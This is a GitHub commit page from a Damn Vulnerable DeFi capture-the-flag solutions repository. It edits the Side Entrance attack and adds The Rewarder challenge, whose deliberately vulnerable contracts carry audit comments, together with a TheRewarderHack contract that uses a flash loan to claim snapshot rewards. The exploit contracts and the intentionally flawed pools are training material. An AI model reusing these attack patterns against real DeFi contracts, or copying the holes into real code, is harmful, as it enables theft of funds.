Skip to content

Commit

Permalink
a
Browse files Browse the repository at this point in the history
  • Loading branch information
6boris committed Oct 12, 2023
1 parent 33b4892 commit c83421a
Show file tree
Hide file tree
Showing 15 changed files with 995 additions and 464 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,6 @@

pragma solidity ^0.8.0;

import "@solady/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
function execute() external payable;
}
Expand Down Expand Up @@ -32,8 +30,8 @@ contract SideEntranceLenderPool {

delete balances[msg.sender];
emit Withdraw(msg.sender, amount);

SafeTransferLib.safeTransferETH(msg.sender, amount);
(bool isSuccess,) = msg.sender.call{ value: amount }("");
require(isSuccess, "");
}

function flashLoan(uint256 amount) external {
Expand All @@ -47,18 +45,12 @@ contract SideEntranceLenderPool {
}
}

interface IPool {
function flashLoan(uint256 amount) external;
function deposit() external payable;
function withdraw() external;
}

contract SideEntranceAttack {
IPool immutable pool;
SideEntranceLenderPool immutable pool;
address immutable player;

constructor(address _pool, address _player) {
pool = IPool(_pool);
pool = SideEntranceLenderPool(_pool);
player = _player;
}

Expand All @@ -70,9 +62,7 @@ contract SideEntranceAttack {
}

function execute() external payable {
require(tx.origin == player);
require(msg.sender == address(pool));

require(msg.sender == address(pool), "msg.sender");
pool.deposit{ value: msg.value }();
}

Expand Down
220 changes: 220 additions & 0 deletions contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,220 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import { OwnableRoles } from "@solady/auth/OwnableRoles.sol";
import { FixedPointMathLib } from "@solady/utils/FixedPointMathLib.sol";
import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol";
import { ERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/ERC20.sol";
import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol";
import { ERC20Snapshot } from "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol";

import { DamnValuableToken } from "../00.Base/DamnValuableToken.sol";

contract RewardToken is ERC20, OwnableRoles {
uint256 public constant MINTER_ROLE = _ROLE_0;

constructor() ERC20("Reward Token", "RWT") {
_initializeOwner(msg.sender);
_grantRoles(msg.sender, MINTER_ROLE);
}

function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) {
_mint(to, amount);
}
}

contract AccountingToken is ERC20Snapshot, OwnableRoles {
uint256 public constant MINTER_ROLE = _ROLE_0;
uint256 public constant SNAPSHOT_ROLE = _ROLE_1;
uint256 public constant BURNER_ROLE = _ROLE_2;

error NotImplemented();

constructor() ERC20("rToken", "rTKN") {
_initializeOwner(msg.sender);
_grantRoles(msg.sender, MINTER_ROLE | SNAPSHOT_ROLE | BURNER_ROLE);
}

function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) {
_mint(to, amount);
}

function burn(address from, uint256 amount) external onlyRoles(BURNER_ROLE) {
_burn(from, amount);
}

function snapshot() external onlyRoles(SNAPSHOT_ROLE) returns (uint256) {
return _snapshot();
}

function _transfer(address, address, uint256) internal pure override {
revert NotImplemented();
}

function _approve(address, address, uint256) internal pure override {
revert NotImplemented();
}
}

contract FlashLoanerPool is ReentrancyGuard {
using Address for address;

ERC20 public immutable liquidityToken;

error NotEnoughTokenBalance();
error CallerIsNotContract();
error FlashLoanNotPaidBack();

constructor(address liquidityTokenAddress) {
liquidityToken = ERC20(liquidityTokenAddress);
}

function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));

if (amount > balanceBefore) {
revert NotEnoughTokenBalance();
}

// @audit-issue can be bypassed if we call it from a constructor
if (!msg.sender.isContract()) {
revert CallerIsNotContract();
}

liquidityToken.transfer(msg.sender, amount);

msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount));

if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
revert FlashLoanNotPaidBack();
}
}
}

contract TheRewarderPool {
using FixedPointMathLib for uint256;

// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

uint256 public constant REWARDS = 100 ether;

// Token deposited into the pool by users
address public immutable liquidityToken;

// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public immutable accountingToken;

// Token in which rewards are issued
RewardToken public immutable rewardToken;

uint128 public lastSnapshotIdForRewards;
uint64 public lastRecordedSnapshotTimestamp;
uint64 public roundNumber; // Track number of rounds
mapping(address => uint64) public lastRewardTimestamps;

error InvalidDepositAmount();

constructor(address _token) {
// Assuming all tokens have 18 decimals
liquidityToken = _token;
accountingToken = new AccountingToken();
rewardToken = new RewardToken();

_recordSnapshot();
}

/**
* @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange.
* Also distributes rewards if available.
* @param amount amount of tokens to be deposited
*/
function deposit(uint256 amount) external {
if (amount == 0) {
revert InvalidDepositAmount();
}

accountingToken.mint(msg.sender, amount);
distributeRewards();

SafeTransferLib.safeTransferFrom(liquidityToken, msg.sender, address(this), amount);
}

function withdraw(uint256 amount) external {
accountingToken.burn(msg.sender, amount);
SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount);
}

function distributeRewards() public returns (uint256 rewards) {
if (isNewRewardsRound()) {
_recordSnapshot();
}

uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {
// @audit-issue doesn't take into consideration deposited time
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
// @audit-issue no CEI
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}

function _recordSnapshot() private {
lastSnapshotIdForRewards = uint128(accountingToken.snapshot());
lastRecordedSnapshotTimestamp = uint64(block.timestamp);
unchecked {
++roundNumber;
}
}

function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp
&& lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}

function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}

contract TheRewarderHack {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal player;

constructor(address _flashloan, address _pool, address _dvt, address _reward) {
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
player = msg.sender;
}

function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}

function receiveFlashLoan(uint256 amount) external {
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
uint256 rewardBalance = reward.balanceOf(address(this));
reward.transfer(player, rewardBalance);
}
}

This file was deleted.

This file was deleted.

This file was deleted.

Loading

0 comments on commit c83421a

Please sign in to comment.